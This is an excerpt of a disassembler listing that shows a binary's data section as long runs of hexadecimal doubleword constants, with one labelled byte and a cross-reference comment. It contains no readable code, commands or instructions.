		dd 0C7C86DE6h, 0ACA39347h, 6EE7056Dh, 0B3BF5D4Dh, 2700F7CAh
		dd 72EDE047h, 5D4DA96Ch, 0D7156DAEh, 9A17902Bh,	0E56C7D6Dh
		dd 0C3B3785Dh, 7DA4E7B8h, 0C8AD923Fh, 9D55E491h, 0B37EAD8Fh
		dd 0D7478CC7h, 20819D6Dh, 6DAC5275h, 41AFE704h,	66DAD5Ch
		dd 62B7C0D7h, 0E7346DACh, 0BD7F55A4h, 0E760CEEDh, 0ED817F55h
		dd 556760CEh, 9031AE7Fh, 76EC3E41h, 0F294ED89h,	971188E3h
		dd 77200ADh, 0F8DEC4A0h, 5D2FF756h, 33EDB5DFh, 6556BE7h
		dd 0D8546DCAh, 0EE853468h, 84F7566Dh, 74B95EE0h, 840CC772h
		dd 0CE6D625Ch, 0C7BB00F7h, 0C7048BF9h, 0D5848B03h, 63C2CB39h
		dd 31E9C56Dh, 796C50ADh, 9339BE9Fh, 7C45AD01h, 0C7442D62h
		dd 8DCD9703h, 47C7D1FAh, 6D64B338h, 8747F754h, 162DE346h
		dd 82204CE7h, 0C24FC49Dh, 0C185F454h, 62E7863Ch, 6DADFE65h
		dd 0A8CC6CF2h, 0BA6DAC21h, 46452AE7h, 0E7892DF3h, 9CA04841h
		dd 5E7B26Dh, 0EDC4444Ch, 61AFF719h, 522D99B5h, 5E612070h
		dd 0B1B56DAEh, 0C604492Dh, 4DD718B7h, 82C907A8h, 4163C7E1h
		dd 0FBADFCC5h, 0C4F84F10h, 0E7BAEDDCh, 0C80471A4h, 6000A0EDh
		dd 6DAC9D61h, 87CFE70Bh, 0E2ADE546h, 7D41EE5Ch,	0F7052D62h
		dd 0DF878796h, 61E25CEDh, 6DA6D871h, 9F0AC70Dh,	6F759E2Ah
		dd 0C6EF3C42h, 0C37EDF5h, 0E6C6E438h, 0AAC7E534h, 0ED85A15Dh
		dd 0DBF1B0EEh, 46DE0C5h, 5D49A5C7h, 0D7AB2D93h,	517C5DEEh
		dd 87D721ADh, 0EDDB4686h, 708512B4h, 0D9ADCFC7h, 5B79ED12h
		dd 0F7F8ED63h, 0D7D7927h, 0B5F76D2Dh, 0EDFB0477h, 0F7F40098h
		dd 98EDF304h, 0C55DA238h, 607972F6h, 0EF86616Bh, 27D79FF8h
		dd 6DAEC151h, 0EBF4C707h, 642DDCC7h, 0C77525D7h, 9D35EDE9h
		dd 0E3050B40h, 2F91672Dh, 3A86D671h, 0FC31D7E1h, 2B3CC447h
		dd 0E14D29C7h, 0B37F6DBBh, 0C5047166h, 0C28167EDh, 0EDE8C7CBh
		dd 6520D7C5h, 0C9F4BCAFh, 0B9BF10D7h, 6074AD9Eh, 0EDC5456Dh
		dd 0E5F7FF6Dh, 6DF64645h, 65EF729Dh, 24F04CE3h,	0B041E9F7h
		dd 0F7C46D9Ch, 8E8F65E3h, 3DF7D7EDh, 7CF2048Ch,	45EED787h
		dd 5C2C347h, 90CFF4C7h,	6025B4A0h, 0C4C6EF3Ch, 0CCF75F74h
		dd 2D8DBDACh, 3C1DF763h, 87ADBE38h, 9E412A12h, 0E786798Fh
		dd 651B69EEh, 6B248B6Dh, 2DEB8571h, 716B1E85h, 0BA6DE485h
		dd 0C455E7E7h, 93F4EDC2h, 0D0C688D3h, 0E3F7E4ADh, 74AFB598h
		dd 69E4E71Ah, 36EDA440h, 816960A1h, 0C7DF5294h,	0F6C651ABh
		dd 6AAFF784h, 0F4EFC569h, 7449E7F7h, 0A4FB91DCh, 46452A80h
		dd 223F6DFDh, 0CDC75C75h, 769321EDh, 0C2F9C608h, 0E8CFD756h
		dd 886D9E62h, 47756BADh, 0C71ABFF4h, 813741A6h,	6671D0B2h
		dd 0AD98C15Dh, 0D431D099h, 3D71D806h, 0A141A651h, 93216D89h
		dd 0A82D14E0h, 0EFE7846Dh, 0F4DA0651h, 456EE7F1h, 0D0ADC6C7h
		dd 66D6BE2h, 0E7D4FCEBh, 0A24175E4h, 6B70C1EDh,	0FCDB8771h
		dd 7D25D77Ch, 8D6DE007h, 4F704DF7h, 7DC76DA8h, 0E4C584E4h
		dd 65E7DD2Dh, 2DE4C569h, 69AED726h, 252DA4B5h, 4EC33F7h
		dd 0F7A477F8h, 0C744556Bh, 0E7E7AA47h, 77B86151h, 596BF7E7h
		dd 0D6FCDB84h, 0FC7928C0h, 0F7E22DB4h, 0FE060468h, 8DF79237h
		dd 47ECC668h, 416BE730h, 0E8EDFB44h, 6756361h, 0C730FBF2h
		dd 0D2C475A9h, 0F5C792EDh, 0EDCC45C0h, 45A923A9h, 30F4ED85h
		dd 4684B8F7h, 0F2D3EDF1h, 0E2444D60h, 24C79FEDh, 2D8D015Dh
		dd 0D3D4F724h, 0F86DD8C7h, 894D6AD7h, 0D74E6DA9h, 0C544CC36h
		dd 0EF5144EDh, 3C7FEF41h, 5057C79Dh, 703A0BAh, 7412AE7h
		dd 0B37F6DEEh, 0C107712Dh, 0E0D786C6h, 0B2DD4555h, 4D6EF7DFh
		dd 4CF4E447h, 8427C041h, 0F7DEADCDh, 0DFC7484Ah, 0F4998B2Dh
		dd 0ED8BE16Ch, 802742ECh, 0A2DD346h, 0C5F00783h, 0D79EF4EFh
		dd 0A60D4C3Eh, 27E7156Dh, 0F79A7155h, 3041C734h, 0A2D72ECh
		dd 444563A3h, 1D62DDAh,	0B0BEDC7Dh, 0AD29016Dh,	80FFC66Dh
		dd 0BCEFC768h, 0DBFEE005h, 8441E5F7h, 70D0ADD0h, 0C3C54521h
		dd 10F78577h, 6DC4C7EBh, 45E56CFFh, 91F4CBC4h, 0C4456511h
		dd 0D760ADD0h, 0DDC5712Ah, 6B9385ADh, 36FFC55Dh, 0FF18F7F9h
		dd 0F836FFC5h, 0C748FDF7h, 0F714EDE4h, 4F816DEDh, 60D79FBCh
		dd 6D312B65h, 51603308h, 9F34872Dh, 0CF4167C7h,	81677E9Fh
		dd 0A1035960h, 3191FC6Dh, 46E084E0h, 49285962h,	70E7D0C6h
		dd 0C741A661h, 0F7F1B2DEh, 0C687516Bh, 6BE7E8C8h, 6DCC465Dh
		dd 4DEF398Fh, 0E4D4B540h, 45DA2F7h, 3542BADFh, 8183B853h
		dd 1F73CFCh, 2D8D32F0h,	749ED7ACh, 882DE5C7h, 0C7456073h
		dd 0DB26DE3h, 0D9C479A2h, 0A2D725EDh, 77C3C469h, 0C4D8F7D5h
		dd 0E636F485h, 0C4E498D7h, 0DD26DDDh, 0CEC55963h, 6EE7E12Dh
		dd 0AD4F6A75h, 796BD769h, 0DE6DDDC5h, 4475630Dh, 0E7BA6DEEh
		dd 0DC8441A6h, 0ED0155EDh, 3E30451h, 47D3C7E4h,	0CE2DC546h
		dd 37CF92C7h, 0A299FFA8h, 0C005516Bh, 2A939BFEh, 0EDD10471h
		dd 4406C273h, 0E7BED006h, 84752D93h, 91F5F4DAh,	0B54065EDh
		dd 0A2F7A5D4h, 0BFE80479h, 74DCD7A2h, 0DF3781ACh, 7E612AF7h
		dd 0D786ED53h, 433E5D6Dh, 69814DBFh, 0FCE3057Dh, 51E08010h
		dd 8C44A3F1h, 0C561E173h, 0E7A77FC0h, 0A5EE5F4Eh, 0A2D7E1EDh
		dd 0F8D14559h, 41E2C765h, 0D577D845h, 0AE743CD7h, 0D7B36DBCh
		dd 0EE0641AAh, 0FBF7D16Dh, 6DBE78C4h, 0B0998300h, 0FD5C5D23h
		dd 85FC1893h, 0A36B37F1h, 0F5064DEFh, 0E58FA1F9h, 0ADBCE14Dh
		dd 9F68D25Fh, 0C56DB3ECh, 4BFF51Ch, 9D88D8EDh, 0FCC42BF4h
		dd 27B136C8h, 3296564Dh, 4C730102h, 0FF4E744h, 5F6DA6D7h
		dd 0E7A8ADA1h, 0E6C47DEFh, 0E7E75A6Dh, 0AD972845h, 0F2BDE7DFh
		dd 8CF7964Fh, 0C6E28A43h, 614B2DC4h, 942F5169h,	0E740632Dh
		dd 0B7B1896Dh, 61E79102h, 552DCCC6h, 47DE971h, 8C7FF4D2h
		dd 8C5059A4h, 48E7102Dh, 6D200CD7h, 69EAF7F5h, 3BB76B29h
		dd 0F692FE7h, 0F78B2D95h, 582D75E5h, 0AAF7F46Dh, 0B6B62159h
		dd 65A2F786h, 8D2DCDC6h, 4C6D2BE7h, 0F7C5FB83h,	8E2D7564h
		dd 25610070h, 0B19D2071h, 79A2C7DBh, 2060C885h,	0C5B7BEC7h
		dd 0D774EDDBh, 0A47D7D66h, 7F79F38h, 37945D30h,	2047C704h
		dd 0EF6D9B2Eh, 49D086E7h, 0F7CDADA0h, 6309608Dh, 0E76F042Dh
		dd 478C3C79h, 0AC82D7E5h, 0DF43E447h, 854D29D7h, 0E74AF7D1h
		dd 336ECF4Ah, 2D7152ADh, 0C6E04579h, 71E9623Fh,	0F1C3BACFh
		dd 4645A0C7h, 0C7AD6DFCh, 0A05240D4h, 6A614567h, 0FE40EF71h
		dd 51677152h, 0A747F046h, 85770C23h, 0E0D339CFh, 0A2575D6Ah
		dd 90D76B23h, 0ADAD696Ch, 4854C79Bh, 2F6DCF07h,	0FB00033Fh
		dd 73096D4Eh, 0D80575A0h, 8A3BB4E6h, 2D8E88ABh,	0FE7EB3BFh
		dd 8F369E0Ch, 0C7A83F4Dh, 1FD66DC3h, 3F37D445h,	6D1330ADh
		dd 0B6DDC57Dh, 75ADC714h, 7B7F12Ah, 85B46971h, 0C705F7E0h
		dd 0EE44CC16h, 2AA05CEDh, 0EDA97D71h, 496912FBh, 29EDADEFh
		dd 0C465E9E7h, 0E7342DCEh, 0C30472F4h, 0D83B73EDh, 0EDA8AAC1h
		dd 75253BD2h, 0CFED284Ah
		dd 0D79E5FEh, 0D7812D8Dh, 0D6065890h, 853DD66Dh, 0B290ADE3h
		dd 65E62E11h, 0FA6DE5C5h, 0C575A7E7h, 0E747EDE7h, 50A8516Dh
		dd 0EDD7E3ADh, 6C10551h, 6DE2D769h, 5416C704h, 0A851EDE7h
		dd 0E71FED67h, 5DFA4526h, 1B22D031h, 0ADD644F7h, 0F65BC731h
		dd 0A2F7297Ah, 0C5AB59E7h, 0F7AAADD0h, 6AAA9498h, 0A6E739EDh
		dd 0D426AA4Dh, 61AE41E9h, 4126F4C6h, 5BAD5C04h,	0D7658210h
		dd 0D3C6EC71h, 0A0F731B7h, 0ED966E74h, 49A0F79Eh, 0DF2DFAC7h
		dd 67D6FC7h, 0E7083FFCh, 62627968h, 2EC7ECEDh, 84C7449Bh
		dd 41EAE704h, 503CD7C5h, 8D4929E7h, 0D7FB6DA2h,	8D036165h
		dd 63E787EDh, 74ECC575h, 452FD0E8h, 84EDEFC4h, 86552F93h
		dd 0D706C7C5h, 69A369E4h, 2F9DC46Dh, 7CE18765h,	90D971FFh
		dd 15ADFE84h, 44CCA0C7h, 0B1B3ADEDh, 0E2C76160h, 0FCC7F12Dh
		dd 0ADD1C750h, 1C13F7ECh, 0ED2DA763h, 745E5F7h,	0F73AEDF7h
		dd 8CBDE0DFh, 6EE7E5F0h, 7CF80745h, 55EEF7DFh, 2134F605h
		dd 0C5616561h, 0D770ADF6h, 0F286416Dh, 20F787ADh, 0F7F20665h
		dd 4DE4E764h, 0DF2D9E43h, 8351A6D7h, 0E73BC792h, 0EC4614A6h
		dd 0ABE7BA6Dh, 2D853549h, 0C8B5D726h, 39ED9C73h, 6249E7E7h
		dd 33FAED94h, 0C7076966h, 0EAB11F44h, 0C1DAC551h, 7D6BE7DCh
		dd 4F6DCE06h, 0C7A8CB93h, 334B44C7h, 812FF0F4h,	6B61F02Dh
		dd 0FFC3C645h, 416CAC27h, 80C07163h, 7361E6C7h,	53246D2Eh
		dd 0C587696Dh, 5379626Dh, 804663ECh, 488740E9h,	0A96DF246h
		dd 44047261h, 61A0FFE2h, 90C375ACh, 0DED761ADh,	2D8D8D1Ch
		dd 6DA4C76Ch, 56DAC89h,	0C4537FE7h, 0C77FF7C6h,	81D54087h
		dd 47D0F92Dh, 0B2472CDCh, 0CC088DCFh, 5DEDF247h, 1DF88C53h
		dd 736C76B4h, 5E4F71E5h, 7BD75AEDh, 87F385F0h, 6123E7A8h
		dd 70F4E4C7h, 5712AD7h,	7351ADCDh, 0F987692Dh, 363626Dh
		dd 6DEC8794h, 496BE7B0h, 21EDBA2Dh, 8755A273h, 5178B6DDh
		dd 6D30E4CDh, 4443622Dh, 40CAC77Ch, 4160E765h, 6277DC05h
		dd 0C57DA243h, 2D6777F5h, 9AE56563h, 20E784BCh,	0FED60645h
		dd 0D37F61C4h, 69ADD8C7h, 45756BE7h, 43582DCAh,	1B89C84Eh
		dd 0C8C7F86Dh, 2DC84644h, 0FCF3D796h, 496DA08Bh, 696C54E7h
		dd 0C72A2D0Dh, 0A560696Bh, 0B7E70B6Dh, 6DBC0E63h, 0E34A0FB7h
		dd 4D2D8D6Dh, 47B4B971h, 8049FFFBh, 0AFEFF6D7h,	0E0D7F1C6h
		dd 0ADC04641h, 55ED1DE3h, 607CE187h, 84644321h,	313E34DBh
		dd 0E28775A1h, 0FF7F2FBh, 6DF50787h, 5C33D77Eh,	912DCFC5h
		dd 0E875E46Ch, 13E3AD61h, 0F10451EDh, 82C7E16Dh, 0CEFD05CCh
		dd 43AC7D2h, 576DED46h,	0C7C951C7h, 5F446DFEh, 8ECA556Ch
		dd 74D78496h, 0AD8D60E8h, 6433C7DFh, 0ECED922Fh, 6AF0F8D7h
		dd 0F7767715h, 0A80A7524h, 6D1D1C6Dh, 0ADF48645h, 51A33BD4h
		dd 0D9AD50AAh, 0C67DEDF7h, 508986D7h, 0AD0A5967h, 99E770F1h
		dd 3EE9C446h, 41A32123h, 54F3782Ah, 0CA55E90Fh,	0C7E1AD8Fh
		dd 0D156A1Ch, 27E7682Dh, 0ED557F61h, 79AC0DF4h,	0D9AD58B8h
		dd 0C7796DC7h, 0F084C4E0h, 90A2942Dh, 0EDD7A7ADh, 2DE90759h
		dd 49A27D1Bh, 65EDD9C5h, 0C475A2F7h, 0E7D5ADCDh, 0A00141A5h
		db 0EDh, 0FFh, 0E7h
byte_442B77	db 2Eh			; DATA XREF: .text:off_430CFCo
		dd 0F1BAD771h, 0F479F703h, 0F8379556h, 4445E7F7h, 0CEC66DDDh
		dd 0F5B76D6Dh, 6EE7DFEDh, 0F9E34761h, 41A7416Bh, 0E901C6C6h
		dd 7792A91h, 0D76B8EEBh, 8DE17964h, 0E240D3A1h,	0B9C0453Ch
		dd 6492033Fh, 52F3C805h, 37172EF0h, 0B330C6AFh,	0D9C55524h
		dd 64E7AAC6h, 348C434Dh, 0B42F6168h, 3CC6D944h,	0E1796CE7h
		dd 6DD36D84h, 0D7C77491h, 0A5C7DA2Dh, 7F4C510h,	6169E72Fh
		dd 652DDCC6h, 641EDF7h,	4DDA2DEDh, 0F08649ADh, 61E786F8h
		dd 0ADF4C575h, 65203182h, 656DDB05h, 0D675EDBEh, 0C7D42D8Ch
		dd 8D0D7CFCh, 39808EADh, 0ADBEE9F0h, 796BC7DFh,	1F41D347h
		dd 0C555ED91h, 0D7D1FEF1h, 0A25B79E5h, 2AC707EDh, 37C705F8h
		dd 616BE7CAh, 8E6DC584h, 2D61252Dh, 0A15AEDAEh,	0E104716Bh
		dd 25E77FEDh, 0ADF64649h, 712561A9h, 0BCEDE804h, 476D6BE2h
		dd 0D79FFFE2h, 948D6D2Bh, 0A2F7A7F7h, 0F7C4844Dh, 71EDD7D9h
		dd 0E3FCA3A2h, 864DADB1h, 0D7CB40EAh, 0A061C7BCh, 3DD7966Dh
		dd 2DE50493h, 6DE95363h, 0D0AD8D8Dh, 7D5033C7h,	0D722AD40h
		dd 8F21AAECh, 0D1C7A6ADh, 2D897433h, 0B864C7DFh, 9F3795E1h
		dd 8D6D6CC7h, 0D70C00A6h, 8E6069ABh, 6AA0832Dh,	0B7D3C545h
		dd 87E3C747h, 78EDE4B3h, 8D6DA251h, 0E713ED96h,	0D305E47Bh
		dd 8AC71F31h, 0ADC10644h, 4DA5F778h, 0F3ADC144h, 46846DE7h
		dd 52A1EDCBh, 0D6864566h, 26E267ADh, 0BE50665h,	7DA35066h
		dd 483BD946h, 8441EAA1h, 0C7F2F1DFh, 5AB9596Ah,	20E7882Dh
		dd 0FEBEDE4Dh, 0F89F626Ah, 18F35989h, 47459E7h,	0D2642DC9h
		dd 0B59245A9h, 65F77FADh, 2DE94445h, 51A6AD7Eh,	353BB692h
		dd 5CFCC2F7h, 0B37E2DA5h, 0D084756Bh, 25F7DB07h, 0EDD30471h
		dd 756D8200h, 0B8B95AC1h, 851F98C0h, 0C7A1ADD2h, 0A62CBC23h
		dd 0F453BF6Dh, 0ADD3C5CEh, 0D4C7F77Bh, 0DFF6E046h, 4771E5E7h
		dd 0E755F8DAh, 0AB2D6043h, 0ADE784F5h, 48507F75h, 6843E70Eh
		dd 302D67F2h, 7552EC2h,	0A1DCBCCBh, 0D046456Ah,	66D2306Dh
		dd 0ADBC2345h, 45E7D77Ah, 26AD8F92h, 478ED1C7h,	8EDB6DC6h
		dd 0F2C72411h, 0E23E6E44h, 6D21DE59h, 9708D230h, 261BC104h
		dd 84792DF7h, 0C047BFCDh, 0F244C733h, 254E7DB9h, 6DD14445h
		dd 41E38D7Eh, 9F7E8A1Eh, 1F55A6F7h, 4178ED6Ah, 8D8945E9h
		dd 2AF7DDADh, 0AD8DE25Dh, 49ED23E3h, 0BB6D8978h, 0CD452790h
		dd 0D7C4BBADh, 99ED6099h, 0EBE7DF2Dh, 0FFCAC67Dh, 8428C7B6h
		dd 656DE544h, 0C5A0721Dh, 2F2F6F3h, 0D9C471A9h,	0F8E7A52Dh
		dd 0CB8857DCh, 7DEED761h, 0CAED90D5h, 0E25DECF7h, 0CC12ADB2h
		dd 93E875A8h, 92C76AADh, 6D8D6EECh, 0F894C7F1h,	0B2FB82D9h
		dd 56E4D772h, 0C7E7EDB0h, 8D36081Ch, 533A486Dh,	6DC54686h
		dd 7D6032F8h, 25318508h, 86BC81C7h, 0C77933C2h,	0A5A949E9h
		dd 0D8C2AB43h, 2DE2C517h, 59E42C93h, 0CD37C784h, 4741CF7h
		dd 17806DCh, 0A5B8F075h, 0C5F7CE08h, 32E547E4h,	45ECE7E4h
		dd 0E12DBD98h, 47D4CB83h, 0E7A177D5h, 59B12493h, 0A053BF6Dh
		dd 1A0CC169h, 456761CAh, 0F4ED69B4h, 16D2C3Dh, 0D731F3AFh
		dd 0CB8469E0h, 20A12CFBh, 0ADB69B45h, 23C30E4Dh, 6ED2DF85h
		dd 5059EFC7h, 220C9447h, 5D7B4966h, 5E24C96Dh, 0F436FAA5h
		dd 46FCE7CBh, 8DADDB46h, 84504FE7h, 1ED26DDDh, 0D78604DBh
		dd 0B7E7D7ADh, 46F887C4h, 0E5B5D719h, 4AFC7661h, 0C7C383D7h
		dd 0F7C3ADD0h, 0A655FA74h, 26C7DF0Ch, 2D8E4355h, 802BD7E1h
		dd 0C139760h, 2E643FE7h, 7066B2BAh, 0D307616Bh,	0B4F7B63Fh
		dd 2D8D41B4h, 5127F75Dh, 0A9AD8F42h, 475E461h, 7120ADC0h
		dd 0F40471E4h, 0D59E00ADh, 0ADF10433h, 5DA2ACC8h, 0F738E6C4h
		dd 0C77DA951h, 0F7A4C7C3h, 0CF84F343h, 9C8134EDh, 2DCDC7FCh
		dd 6CC1E7A7h, 34EDEA44h, 0C768C691h, 0D7DE6DC3h, 0A3A24441h
		dd 41D7DC6Dh, 0BFE105F7h, 656D93B7h, 812DCC86h,	0B365A5C7h
		dd 0C7B8ED6Fh, 0B16D5165h, 0ABB2CD2Dh, 0FF840D5Dh, 416EE7C5h
		dd 88FB66A8h, 0C70881C7h, 0F7072DEDh, 72B355EDh, 0E94347F7h
		dd 0ED9CD359h, 41A382FBh, 6C6DE405h, 87E8314Dh,	0E79547EBh
		dd 0E6C4C487h, 0AD637BB8h, 5091CF5Dh, 680DC77Bh, 0AF2D6DF2h
		dd 0B538E7D7h, 61F7AD83h, 0A24971E2h, 0A7E7E42Dh, 0FEFD8545h
		dd 7925815Bh, 81ADBCE0h, 0C665E651h, 0E7976DE0h, 0C3C559A2h
		dd 48F707ADh, 6DEE8467h, 556BE754h, 0F73FFEC4h,	46C38E51h
		dd 6F0AEDDCh, 9853516Bh, 0A92F082Dh, 0ED80CE71h, 61E25B97h
		dd 0F03FBB8Eh, 0A1284CF7h, 23002DA1h, 0FF06716Bh, 0A59A97EDh
		dd 2D8CE14Dh, 600CD71Dh, 3C01D747h, 0C745A530h,	0A160FFDBh
		dd 0F146456Bh, 0B5C7526Dh, 0F69661D0h, 0A477F7D3h, 79EA3BCh
		dd 0C755EDE7h, 0F71887DBh, 0E7467DE9h, 6DD754F5h, 0F4A3E149h
		dd 41E4E7F9h, 82ED8DA1h, 0DDD9393h, 0E7078692h,	0D6C445E1h
		dd 10E797EDh, 6DEC86D7h, 7DEBE7B6h, 3CADFC04h, 0C7E51D05h
		dd 2D95ADFDh, 0DCC745A5h, 0AF61ECB6h, 0EDA30D5Dh, 5967C7B8h
		dd 0C76DD3C5h, 5CB8DC7h, 0C7B8B2DDh, 0E5C76924h, 0B7D7EE2Dh
		dd 6DFB44C4h, 452BAC9Ch, 722D8DF5h, 54858F7h, 112A2DE6h
		dd 876F69A9h, 0DF61C53Fh, 36EBC4E0h, 49E20D42h,	6A68D22h
		dd 5471239h, 0D7347CF8h, 0C5045166h, 61E745B6h,	0AD58FF61h
		dd 0F43100DDh, 0DE8186A2h, 0BB7DA0D7h, 0B1403EBCh, 0F70475A4h
		dd 0E0A1A26Dh, 6DED075Dh, 712BFC19h, 2E86FFC6h,	0DE71ACA1h
		dd 91767350h, 9E58556Bh, 0E5D77F39h, 2DE6C749h,	71A3C7DFh
		dd 0C586FF06h, 461A220h, 0D7E814D0h, 7122512Ch,	0FB435D34h
		dd 0FCE206C3h, 656CF0EEh, 19378880h, 0AE4DED51h, 0C7FAF35Eh
		dd 58E2640Dh, 27531B81h, 0B3855255h, 616BB12Ch,	0CEFBD146h
		dd 47DCF2C0h, 0AD78EDCFh, 0ACFB6DA4h, 31C28CFCh, 6DDD4484h
		dd 0E8F4F7E4h, 0FC19D584h, 0C97DE4F7h, 0D2BAAD88h, 0EA468060h
		dd 634302ADh, 2DCCC54Dh, 0A70EE7F4h, 76EDA775h,	1451A0B1h
		dd 0C73791A9h, 966DAFA8h, 0AAE7157Bh, 0F40A7465h, 40B8C7E2h
		dd 89EDE146h, 0C5716BAEh, 0F7EFB4EBh, 0D0061822h, 0B7CC3EDh
		dd 0ADCDC5BFh, 0EBF2E7CEh, 0F73EFC04h, 0C858713Fh, 0E70F2D4Dh
		dd 0A8E17D28h, 0A9D72BB6h, 0F145AB55h, 752A21BDh, 0E9B1F368h
		dd 0C6E213E7h, 0D1652DC6h, 0E42841E9h, 6D237F66h, 2D6ECB51h
		dd 4965F707h, 0ADECC7h,	6E59E801h, 0F7D376BAh, 0C584716Dh
		dd 6C21BD2Dh, 0A05E6A5Dh, 716DB005h, 81ED690Bh,	5616DD7h
		dd 0E74A6DE6h, 0E544CED9h, 8DC74A6Dh, 0ADD0C5EBh, 59ADF7BDh
		dd 66ADD106h, 5F7FAC7h,	93B9EDE5h, 0BC8065A8h, 0A2F70AADh
		dd 6DA501B3h, 7C765127h, 6B3EF0C4h, 0F7712CE7h,	0BA501710h
		dd 981AA4AFh, 0E862B32Dh, 0A3FB4671h, 69ADE7FFh, 41BCD4C5h
		dd 0C844F0E7h, 0D734BA21h, 0A7F3596Dh, 0A0F72BADh, 6D67D351h
		dd 48B5C7FFh, 0E6B802CBh, 0A0CCF4C4h, 0D7E9F784h, 0BCAB5166h
		dd 7E7E4F1h, 0F38E02ABh, 456BA1A2h, 9F00E9C4h, 679EBC7h
		dd 0C78489E7h, 0A85C6168h, 0A0D25FFEh, 0E7844E6Dh, 41E96D87h
		dd 4807615Ch, 4404C3F7h, 0C75AEDF5h, 0B6EEDF3Ch, 56F7206Dh
		dd 6DA9E0DEh, 51232DFCh, 4ADA549h, 857166B0h, 13AEADDDh
		dd 507F45EFh, 6DD77EADh, 0ADCDC551h, 4D6613AEh,	0A4ADD0C6h
		dd 4744CF7h, 0AC87EDCAh, 0FF8649E6h, 0A5C7BAB4h, 0ED956165h
		dd 0D4F4F7A6h, 10236AA8h, 641284Ch, 0E7A22DFDh,	0BA9E45A6h
		dd 0A9E75835h, 0ADDFC461h
		dd 2CB7B0F2h, 31ADFEC5h, 409C60F7h, 0E7A06D6Ch,	0BD4951A3h
		dd 0C7B21D73h, 6DADE0CFh, 4521E7C3h, 0C36DAC0Fh, 46C387C7h
		dd 42BDEDF9h, 8C4D61E0h, 0E8EB12Dh, 6DE6C4A7h, 0B7CEF7AAh
		dd 38439B3Fh, 8F4126C7h, 6E487399h, 0AF4E59A5h,	8864D233h
		dd 23C1FE95h, 208A64DEh, 14B7D0C5h, 0F94DA5F7h,	10AB0648h
		dd 9F8E379Dh, 0ACE72613h, 0EDE7C665h, 7D6DE715h, 14C2FEC7h
		dd 4445E921h, 81A7C6C9h, 0D547A4D5h, 6CD71C84h,	0ED75207Dh
		dd 612CC787h, 58AD5C59h, 0F14755D7h, 0C73E6DA0h, 0F06D2059h
		dd 20917634h, 2D55BA75h, 39FF747h, 6BADBEB4h, 0C4E89BD7h
		dd 41DA31EDh, 0FF066169h, 67F7F886h, 0ADEF4645h, 4485D75Dh
		dd 39EDCD06h, 0FA6D65C7h, 0D7E7AD0Fh, 0CFC56D6Bh, 0FAC7A6ADh
		dd 6DE446C5h, 0A80002CAh, 5481F605h, 4684A3E7h,	0F79F2DFBh
		dd 0E846C0B5h, 262257EDh, 0EDA0564Dh, 51A03CD0h, 556DAE16h
		dd 4496BE7h, 2D732DD4h,	0F78561A2h, 6520E7ADh, 2D553555h
		dd 756BB386h, 74B9FA46h, 0C6796B91h, 0D7E1ADCFh, 0DE8649E6h
		dd 6B6156BCh, 3FB10945h, 55AD0DE9h, 0F5EDE887h,	45756463h
		dd 0E77FB4D4h, 0AD6049E7h, 0EFA1BB2Dh, 6DA80055h, 55AFE744h
		dd 42B7A200h, 8E49ACE7h, 0D71A2D8Dh, 69AC61E4h,	0EAD7DF2Dh
		dd 44FA4569h, 0F472F7D1h, 9C84D9C6h, 8677BFC7h,	0D7D32DD2h
		dd 0A8FF6D64h, 29E74470h, 2D742055h, 0C443A34Ch, 0D764DF45h
		dd 47432E7h, 0C707EDF7h, 5DE349ACh, 7CF7C6F7h, 348B5674h
		dd 0D2FBC7A0h, 0C3F4696Ah, 74C7CF7h, 0C08C04C2h, 0B3D7B45Eh
		dd 6AE79FB9h, 71AFC04Dh, 69665DF3h, 3987EFC7h, 206962C7h
		dd 731B2D81h, 6BED79AAh, 2A9E572Dh, 77F4057Dh, 65EDD786h
		dd 7FFF006h, 464568F7h,	0C2ACEDDCh, 9B6DC84Bh, 0E643246Dh
		dd 7AB22DACh, 7DE55F72h, 50C7F1C7h, 0C5412A01h,	0E7B6BCD4h
		dd 8D4C45ABh, 85D7032Dh, 8FF2C560h, 7F8461F1h, 0B8C7FFC7h
		dd 0EF61A4C7h, 0AF5A2D81h, 0E244696Bh, 0EDD754C7h, 2DC54765h
		dd 0EF45B326h, 0A3C7FFADh, 3C6966E0h, 0D7BFCF44h, 0DEC75387h
		dd 6B6D416Dh, 0D7CBC471h, 0E4856136h, 3DF4B5E3h, 5407B21h
		dd 912BEDE2h, 0A6525C00h, 35D7DC6Dh, 0ADA0AE48h, 8FACC7CCh
		dd 0CBADB5C0h, 445DECE7h, 0E794FCFBh, 411B5128h, 61F79D83h
		dd 0EDF54737h, 41A8912Bh, 0C4378642h, 2DF84EE7h, 0F71FB779h
		dd 0B581652Eh, 8B03A6EDh, 0ADC746C5h, 0CF79F722h, 9F6D4E0Eh
		dd 466563A3h, 21C42DD8h, 0A5027563h, 0A2F7866Dh, 2DCD4755h
		dd 4DA7F781h, 29B1FCA9h, 847DAAC7h, 93A2F6DCh, 0E547D473h
		dd 0ECE7ED76h, 4820955h, 71636BD2h, 1DF4BBBEh, 0C4FC9171h
		dd 0B386EDC3h, 0FC0455ADh, 0A5E7FF00h, 0B6BB0275h, 3CE4C7E2h
		dd 0F1389992h, 1441A0C7h, 21728E9Ah, 0A6CB5564h, 2A11166Dh
		dd 3706CB59h, 656BE7E9h, 0E26DCC45h, 0AD4DEED2h, 1CB7E55h
		dd 0A7ACD7C0h, 0D113886Dh, 0EDB82BECh, 0C6DC2D57h, 0BADD546h
		dd 604B45E7h, 0A1E32D89h, 0CB4645ABh, 0F4E7432Dh, 6DAA0EC8h
		dd 0C4B2F721h, 0FB6D966Bh, 4D687CF7h, 0F708ADA7h, 0E104F71Bh
		dd 66B0B4ADh, 6DED0749h, 55A2B383h, 27ADCF45h, 0C75374D7h
		dd 0E7EEADDEh, 0F6C7716Bh, 0A9D07978h, 6DE5C769h, 61E5A383h
		dd 0DF34CD04h, 77D28E7h, 0E7053CC5h, 4E22B725h,	0A0D7662Dh
		dd 2DA99449h, 0C0B5F75Ch, 0AC6DDEC7h, 6F4C3CCh,	0D772ADFAh
		dd 0EC447560h, 0F4A3FA6Dh, 2DE7C6C0h, 71E5E7EEh, 0DE6DEE84h
		dd 4655EDF7h, 0A3DFEDC5h, 0F7868069h, 35D7CBF7h, 0B5B3E050h
		dd 4D2F812Bh, 85F17FE9h, 877DABC0h, 0C7E562E8h,	0EEC741A3h
		dd 25C7B849h, 6DEC8469h, 5BB0E7A2h, 1F3CD147h, 0C76967F7h
		dd 8D666DDEh, 0CD45E402h, 0ACE7212Dh, 0EDAAE171h, 65E9E708h
		dd 74B6F684h, 0F9F490F7h, 0C700B158h, 0ECC5D78Ah, 35C7096Dh
